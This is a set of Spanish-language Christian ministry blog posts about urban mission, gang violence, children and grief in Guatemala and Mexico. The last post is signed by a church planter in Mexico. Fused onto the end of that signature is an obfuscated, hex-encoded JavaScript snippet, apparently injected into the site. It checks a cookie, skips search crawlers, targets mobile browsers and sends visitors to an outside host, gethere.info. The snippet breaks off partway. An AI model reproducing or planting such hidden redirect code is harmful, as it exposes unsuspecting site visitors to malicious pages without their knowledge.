¡Calles para andar en bicicleta!

Anoche, en una impulsiva decisión me uní a cerca de mil participantes en el Recorrido nocturno en Bicicleta organizado por la Municipalidad de la Ciudad de Guatemala. Esta mañana leía más sobre la idea detrás de esta actividad: -crear núcleos de convivencia, recuperar espacios públicos, formar conciencia y cultura del deporte-, y no pude menos que pensar en el potencial que hay detrás de dos ruedas.

Cada metáfora detrás del movimiento, del equilibrio, del impulso, del ritmo… todo se combina en la misma manera que en la vida, junto a la presencia divina que juega y se esconde en las calles.

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Un parque de juegos a media calle

Por Becca Mellema
Interna de corto plazo con CRWM en Guatemala

El orgullo que veo no solo en los rostros de Mimi (la directora del Centro) y los otros maestros, y en cada uno de los niños me trae mucho gozo. Están rebosando de entusiasmo y llenos de ánimo a través de algo tan simple como esta mudanza. “Esta es una mansión con 17 habitaciones diferentes!” dijo Martita, una niña de ocho años. Mientras que en la realidad sigue siendo una casa modesta, pero espaciosa (con 4, no 17 habitaciones), pero contrasta con su propia casa, que es como ella la ve y expresa su deleite.

En el libro “Geografía de Gracia,” por Kris Rocke y Joel Van Dyke, aprender a ver las ciudades de nuestras comunidades es descrito a través de estos lentes: la ciudad como un aula, una parroquia, y como un campo de juegos. Durante mi tiempo aquí, ha sido imposible no ver a los niños y Centro de Alcance desde la perspectiva de la ‘ciudad como un campo de juegos’. Inclusive cuando estas calles pueden ser fácilmente vistas como peligrosas, llenas de discordia y dificultades, o como un campo de batalla entre pandillas, los niños han hecho obvio para mi el ver literalmente esta ciudad como un campo de juegos. Construyendo pistas de carreras y fuertes de desechos viejos, o jugar futbol en el medio de la calle, han sido lugares donde he podido  practicar y mostrar el amor de Dios en Su campo de juegos.

Es refrescante en medio de las luchas de estas familias y la violencia que los rodea, dar un paso atrás y ver a estos niños recurrir a Centro de Alcance, convirtiendo su ciudad en un campo de juego. Para apreciar la alegría de los niños y el gozo que la creación de Dios trae a través de observar a la ciudad en esta forma es una bendición. Zacarías 8:5 dice “Y las calles de la ciudad se llenarán de niños y niñas jugando en las calles.” He llegado a comprender esta visión en una forma nueva y mas literal a través de los niños de Santa Catarina Pínula, y he sido muy bendecida al presenciar este proceso y transición para ellos y Centro de Alcance.

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Preguntas Sorpresivas

Usado con permiso.
Publicado originalmente aquí.

 

 Si tuvieras la oportunidad de hacerle a Dios una sola pregunta, sobre algo que hasta hoy no le has encontrado sentido o explicación ¿Qué le preguntarías?  “Esta es la pregunta que vamos a ir a hacer a la calle,” dijo la facilitadora. “Vamos a salir un rato del templo y vamos a encontrar a una persona para entrevistar,” añadió.

Al principio los participantes del Curso El Escándalo de Dios, se mostraron muy atemorizados e inseguros con la idea de ir a la calle a conversar con personas no-cristianas, pero después de realizar las entrevistas en el parque, su actitud era muy diferente; regresaron entusiasmados, sonrientes y comentando sobre algunas inquietudes de la gente:
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Ya estuve ahí…

Foto: Sam Llanes.

“Si, me invitan a irme con ellos todo el tiempo, pero yo ya pasé por eso y no quiero regresar”. Tuve que respirar profundo para evitar llorar al escuchar estas palabras.   No por las palabras en sí, sino de quién provenían. Porque siempre hemos dicho que la sabiduría viene con los años, pero escuchar consejos, reflexiones y lecciones de vida de parte de niños, no hace mucho sentido.

Mientras otros preadolescentes apenas están empezando a escuchar a sus padres y maestros hablar sobre los riesgos de las amistades y las pandillas, yo escucho a un trece añero que me habla como viendo dentro de su historia.  Mientras hay ancianos que cuentan sus memorias a través de arrugas y canas, la sonrisa de Maynor todavía tiene un dejo de melancolía, de una historia demasiado reciente, demasiado cruda y demasiado injusta. Es una historia dolorosa, que seguramente ni siquiera ha terminado de procesar, pero que le permite hablar con más solvencia que la de muchos de los que estamos a su alrededor.  Lo escucho atentamente.  No le intimida hablar.  Es demasiado joven para saber de autocensura.  Tal vez sería más fácil hablar de fantasías, de deportes, de sueños y de aventuras… en lugar de eso me habla de sus años en la pandilla, de sus decisiones equivocadas y sus mayores miedos.
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¿Quién tiene el mensaje?

Me preparé para compartir un día en la comunidad  de Apopa donde  pastorea Saúl Henríquez, quien durante años ha sido parte de los entrenamientos de la Serie de Salmos de la Calle.  Durante varios días trabajé el texto bíblico contando con las herramientas de exégesis y hermenéutica, dialogué con el texto, busqué palabras en el diccionario para  que me ayudaran a reforzar el mensaje. Tenía listo el bosquejo con su clásicos tres puntos.

Mi sorpresa fue cuando llegué al lugar que me habían invitado. El grupo que se reúne cada semana en esta congregación, era completamente diferente a otras iglesias. Yo sabía que la gente le decía “la iglesia de los alcohólicos,” pero hasta esta visita, pude darme cuenta de las implicaciones de esto. Estuve viendo a las personas por un largo rato, tratando de encontrar sus realidades y el mensaje que yo quería compartirles. ¿Cómo podía encontrar eco mi sermón, con sus olores, su hambre, el frío de la noche, con la “goma” que ellos estaban pasando, con su pobreza tan declarada en sus rostros, con su ropa que no entendía de decoros ni matices, con el color del lápiz labial retorcido por los labios y las mejillas producto de muchos besos nocturnos?
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“La sangre de tu hermano clama desde la tierra”

…Cuántas veces has tenido que cerrar el periódico para no seguir leyendo sobre un asesinato más. Cuántas veces has pasado frente al cordón amarillo que puso la policía en la escena de un crimen sin poder más que llorar y suplicar a Dios por las familias de los involucrados.  Una muerte más. Un joven más. Un conductor más. Un niño más. “Una vez más” es demasiado. Es  “una más” de lo necesario. Cuando el valor de la vida cobra nuevos parámetros, la violencia y la muerte están a la orden del día en cada esquina del país, la impotencia y el desconsuelo son sentimientos naturales, pero en las últimas semanas, he tratado de reflexionar en otras maneras en que la Palabra nos guía en medio de estos tiempos difíciles.

“La sangre de tu hermano clama desde la tierra.” 

Hace unos días leía el libro Poder y Pobreza del autor Dewe Hughes, y mencionaba este pasaje de Génesis 4:10, analizándolo como el sentimiento  más básico ante la falta de justicia y el uso incorrecto del poder de parte de ciertos grupos. 
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Extendiéndose hacia lo incómodo

La semana pasada mi amigo, Jim, otra vez me invitó a hablarle a su clase de graduandos de secundaria en una escuela Cristiana al sur de la ciudad. Estos estudiantes son muchachos excelentes y si me preguntan, sus voces son proféticas…si se atreven a escucharlos cuidadosamente. En la hora que estuve con ellos, usé la mitad del tiempo para describir el nuevo monasticismo como una expresión alternativa de la iglesia y utilicé la segunda mitad del tiempo experimentando con ellos una Lectio Divina. Juntos leímos cuidadosa y quietamente en Juan 20:19-29 y descubrí que sus respuestas eran profundamente serias.

“Nadie se mete con nuestras rutinas de esta forma…
¿puedes darnos la clase de Biblia también?”


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“Jesús no respondió nada…”

Jesus y la mujer cananea, por Rembrandt.

Leyendo mi Biblia y reflexionando en el nuevo año, me topé con la historia en Mateo 15 del encuentro de Jesús con una mujer cananea cuya hija “sufría terriblemente por estar endemoniada.” Los discípulos estaban molestos por la intromisión de esta desesperante mujer gentil en medio de lo que se suponía debía ser unas pequeñas vacaciones.

Jesús, sin embargo, estaba asombrado por la valentía de la mujer, y no dice nada cuando ella se le acerca a hablar. ¿Porqué? ¿Qué significa este silencio? ¿Porqué no le responde? Me quedé con este pensamiento por un rato, y luego fui a ver el contexto del capítulo en el que este asombroso encuentro tiene lugar.


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Tiempo de llorar

Guatemala es un país donde morir por edad avanzada es un privilegio.  Con 17 muertes violentas en promedio cada día, es cada vez más difícil que un joven llegue a ser anciano: en América Latina, aquellos que tienen entre 14 y 25 años de edad, están en el grupo más vulnerable para morir. Hace unos días, Norma Cruz de la Fundación Sobrevivientes daba unas declaraciones fuertes y difíciles de procesar: desaparecer en Guatemala es casi sinónimo de aparecer muerto, o jamás aparecer.

Al trabajar con líderes y poblaciones vulnerables y en lugares de alto riesgo, sabemos sobre la fragilidad de la vida y experimentamos constantemente la realidad de la muerte alrededor nuestro. Como creyentes tenemos una base de fe y esperanza que nos consuela, pero aún así duele… porque morir por causas prevenibles, o por una carretera que se abre bajo los pies de una pareja caminando, morir por un accidente de tránsito o un diagnóstico médico que llegó demasiado tarde, no es fácil de comprender. Y es que morir en Guatemala viene en formas tan diversas, que no caben en la cabeza… Cuando la vida ha perdido su valor para muchos, y las muertes son una estadística, una noticia más en los medios de comunicación, nosotros no podemos dejar de pensar en cuantos nombres, rostros e historias hay detrás de esos números.
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La esperanza del mundo

 “Ustedes son la luz del mundo. Una ciudad en lo alto de un monte no se puede esconder. Ni se enciende una lámpara para cubrirla con un cajón. Por el contrario, se pone en la repisa para que alumbre a todos los que están en casa. Así alumbre su luz delante de las personas, para que vean sus buenas obras y glorifiquen al Padre que está en el cielo.” (Mat. 5:14-16)

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Ayer, por primera vez en mi vida, presencié una “campal.” En León Guanajuato se le llama así a una lucha entre pandillas, o como en el caso de ayer, a un intercambio de balas y rocas entre pandilleros y policías. Todo inició porque un hombre de la localidad donde está ubicada nuestra iglesia baleó a dos miembros de la pandilla los Calas. A uno lo dejó gravemente herido, al borde de la muerte. Estaba a punto de darle el “tiro de gracia” cuando unos policías llegaron y le quitaron el arma.

No conozco bien las razones del suceso. Cuando yo llegué al lugar ya se habían llevado a los dos heridos, y había muchas opiniones y especulaciones sobre lo ocurrido. Pero sí fui testigo del mayor acto de violencia que hubiera presenciado en vivo en toda mi vida. Los padres y hermanos de los jóvenes heridos apedreaban la casa del hombre que los baleó, tratando de entrar para vengarse de la esposa y los hijos del hombre. De adentro de la vivienda se escuchaban disparos, que los de la casa lanzaban para defenderse de quienes intentaban entrar para lincharlos. Todo esto a pesar de que ya la policía se había llevado al hombre que había herido a los jóvenes. Como muchos otros, yo corrí para refugiarme de los disparos y las piedras.

Al momento llegaron muchas patrullas de la policía, y los oficiales dispersaron a la enfurecida familia de los jóvenes baleados. Pero no hubo detenidos, ni inspección de la casa del hombre baleador, a pesar de que muchos vecinos aseguraban que había armas de grueso calibre en el lugar. Cuando me acerqué a un oficial para indicarle que si no revisaban la vivienda para confiscar las armas la espiral de violencia aumentaría, su respuesta fue: “Eso no nos compete a nosotros, tendrán que poner una denuncia ante la policía federal” (en México hay policías, municipales, estatales y federales). Mientras tanto, los hermanos de los jóvenes heridos no cesaban de gritar a los policías, “Si ustedes no hacen nada, nosotros sí lo haremos, para que después no vengan a quejarse,” y “la violencia reina aquí en la Diez de mayo.” La respuesta de un oficial fue: “Hagan lo que quieran.”

Lo que ocurrió a continuación resultó para mí muy enredado y difícil de entender. En otro lugar de la localidad, cerca de donde había sucedido lo de los jóvenes baleados, policías y miembros de los Calas se enfrascaron en una enorme “batalla” campal, aquellos con balas y laces lacrimógenos, mientras que los Calas con rocas, palos y cuanta cosa pudieron encontrar. Ni siquiera estoy seguro de cómo inició todo. Nuevamente, llegué al lugar después de que lo peor había pasado, con la intención de sacar de ahí a algunos Calas amigos que nuestra iglesia ha tratado de alcanzar para Cristo.

Después que los llevamos a su casa, regresé al lugar para ver si podíamos ayudar de alguna manera. Resultó que los policías habían iniciado el zafarrancho. Sin autorización ni orden de cateo, entraron al hogar de dos de los muchachos, y ahí mismo los golpeaban a ellos y sus familias (incluyendo niños, mujeres y ancianos). Más de cincuenta miembros de la pandilla que observaban todo no se contuvieron, y al grito de “sobre de ellos,” llovieron con piedras y palos a los policías. La razón por la cual estos oficiales que aparentemente no podían entrar en la casa donde había armas sí lo hicieron en los hogares de los Calas la entendí después: el hombre que baleó a los jóvenes había sido anteriormente comandante de la policía. No puedo estar seguro de esto, pero sospecho fuertemente que los policías iniciaron la campal para distraer a los Calas de linchar a la familia del ex comandante baleador.

Sin embargo, esta acción lo que hizo fue enfurecer más a los Calas. Cuando me enteré de que los hermanos de los jóvenes baleados planeaban “madrugar” a la familia del ex comandante para lincharlos, regresé a su casa para advertirle a la madre que se fuera inmediatamente con sus hijos. Tuvimos que sacarla a ella y a una hija suya a escondidas, pues la vigilancia de la familia de los jóvenes baleados era incesante.

En medio de toda esta violencia, yo miraba la gran cantidad de niños que eran testigos de lo ocurrido, aprendiendo desde pequeños la manera “normal” en la que se “resuelven” los conflictos en la Colonia Diez de Mayo. Incluso en una de las casas donde los policías entraron para golpear personas, se estaba llevando a cabo una fiesta infantil. Todos los niños presentes participaron de la campal como lo más lógico que debían hacer. Muchos de ellos miran a los Calas como “héroes” valientes y dignos de imitar.

Ahora bien, para mis hermanos y hermanas que ministran diariamente en contextos de violencia generalizada en Centroamérica y otras latitudes, la experiencia que acabo de narrar es “el pan de todos los días.” Pero para mí constituyó una experiencia nueva y reveladora,  y aunque esta clase de cosas se dan muy seguido en la comunidad donde está nuestra iglesia Camino de Vida, yo nunca había presenciado una tan directamente.

Camino de Vida está ubicada en un contexto caracterizado por la violencia, la drogadicción, el alcoholismo, los embarazos en adolescentes y el suicidio. Hemos contado más de quince pandillas en los alrededores de nuestra congregación. Por lo mismo, hemos tomado el texto de Mateo 5 que aparece arriba como la mayor imagen eclesiológica que define nuestra iglesia. El tercer punto de la visión de Camino de Vida dice que somos un “faro de la luz de Cristo para nuestra comunidad.” Al menos intentamos serlo, mediante ministerios integrales a la niñez, las chicas adolescentes, los pandilleros y en el área de la educación.

Personalmente estoy convencido de la verdad de la expresión que le escuché por primera vez al pastor Bill Hybels: “La iglesia local es la esperanza del mundo”. Estoy convencido de que, por la gracia y el poder de Dios, la Colonia Diez de Mayo llegará a ser un lugar diferente mediante la presencia y obra de Camino de Vida. Y desde luego, esto aplica a todas las iglesias y ministerios que buscan transformar sus comunidades con el poder y la verdad del evangelio de Jesucristo y sus obras concretas de compasión.

Así que desde mi propia trinchera envío mis palabras de admiración y aliento para todos los consiervos que trabajan y sufren para que la salvación de Cristo llegue a todas esas comunidades heridas. ¡Ánimo hermanos! Tengan por seguro que su obra no es en vano.

Mauricio Acuña
Misionero, plantador de Iglesias en Méxicovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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